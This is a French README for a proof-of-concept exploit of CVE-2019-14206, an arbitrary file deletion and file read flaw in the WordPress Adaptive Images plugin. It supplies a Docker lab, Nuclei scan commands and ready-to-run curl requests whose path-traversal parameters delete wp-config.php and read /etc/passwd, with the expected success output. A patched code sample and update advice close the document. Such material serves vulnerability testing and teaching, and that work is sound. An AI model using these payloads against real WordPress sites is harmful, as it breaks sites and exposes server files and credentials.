
Exploit de preuve de concept pour CVE-2019-14206, démontrant la suppression arbitraire de fichiers dans le plugin WordPress Adaptive Images. Inclus un laboratoire Docker, un modèle Nuclei et des scripts de test manuels pour l'éducation et la validation en sécurité.
CVE-ID : CVE-2019-14206
Sévérité : Élevée (CVSS 6.5)
Plugin concerné : Adaptive Images pour WordPress
Versions affectées : < 0.6.67
Cette vulnérabilité permet à un attaquant distant non authentifié de supprimer des fichiers arbitraires sur le serveur WordPress en exploitant le plugin Adaptive Images.
// Le plugin utilise une entrée utilisateur SANS nettoyage
$settings = $_REQUEST['adaptive-images-settings'];
// Construit le chemin du fichier avec des paramètres contrôlés par l'attaquant
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// SUPPRIME un fichier arbitraire
unlink($cache_file);
# Vérifier Nuclei
nuclei --version
# Vérifier Bash
bash --version
# Vérifier curl
curl --version
# Vérifier PHP (optionnel)
php --version 2>/dev/null || echo "PHP non disponible (optionnel)"
# Si vous êtes dans le répertoire nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Ou téléchargez les fichiers nécessaires
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Vérifier si les fichiers existent
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Exécutez la démonstration complète qui simule toute l'exploitation :
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Ce qui se passe :
Résultat attendu :
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Si Docker est en cours d'exécution
docker-compose up -d
# Si Docker n'est PAS en cours d'exécution, utilisez le simulateur
./docker-test-full.sh
# L'environnement sera disponible à l'adresse
# http://localhost:8888
# Vérifier si le script vulnérable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Test LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Test de suppression de fichier
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Vérifier si wp-config.php a été supprimé
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Créer un fichier de cibles
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Scan basique
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Scan détaillé
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Scan avec débogage (OBLIGATOIRE pour les primes)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Sauvegarder les résultats
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Voir les résultats
cat results.txt
# Les résultats positifs contiendront :
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Essayer de lire /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Essayer de lire wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Résultat attendu (LFI) :
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Vérifier si wp-config.php existe AVANT
ls -la wp-config.php
# Exécuter l'exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Vérifier si wp-config.php a été supprimé APRÈS
ls -la wp-config.php
Résultat attendu (Suppression de fichier) :
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Supprimer l'environnement Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Supprimer les fichiers de test
rm -rf docker-test/
rm -f targets.txt results.txt
# Restaurer wp-config.php s'il a été supprimé
cat > wp-config.php << 'EOF'
<?php
// Fichier restauré
define('DB_NAME', 'wordpress');
EOF
# Supprimer les résultats de scan
rm -f results.txt
# Vider le cache (optionnel)
nuclei -rm-cache
# Installer Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Ou télécharger le binaire
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Vérifier si le fichier existe
ls -la http/cves/2019/CVE-2019-14206.yaml
# Vérifier la syntaxe YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Utiliser le chemin absolu
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Vérifier le port
lsof -i :8888
# Utiliser un port différent
php -S localhost:9999
# Vérifier si PHP est installé
which php
php --version
# Vérifier l'état de Docker
docker ps
# Démarrer Docker
# Sur macOS : Ouvrir Docker Desktop
# Sur Linux : sudo systemctl start docker
# Utiliser le mode simulateur (fonctionne sans Docker)
./docker-test-full.sh
Mettre à jour le plugin :
Tableau de bord WordPress > Extensions > Mettre à jour Adaptive Images
Version sécurisée : >= 0.6.67
Supprimer le plugin vulnérable :
rm -rf wp-content/plugins/adaptive-images/
// ✅ CODE SÉCURISÉ (Exemple de correction)
function adaptive_images_script_get_settings() {
// Nettoyer l'entrée
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Valider les chemins
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Refuser les chemins invalides
}
// Utiliser des chemins absolus validés
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
Ce matériel est fourni exclusivement à des fins éducatives et de test de sécurité.
L'auteur et les contributeurs déclinent toute responsabilité en cas de :
Si vous trouvez cette vulnérabilité dans des systèmes réels :
Ce projet démontre :
Les contributions sont les bienvenues ! Pour contribuer :
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Pour des questions ou problèmes :
🎉 Merci d'utiliser ce matériel de test !
Souvenez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez ces connaissances pour rendre Internet plus sûr, pas plus vulnérable.
Créé le : 4 janvier 2026
Version : 1.0.0
Statut : ✅ Prêt pour une utilisation en production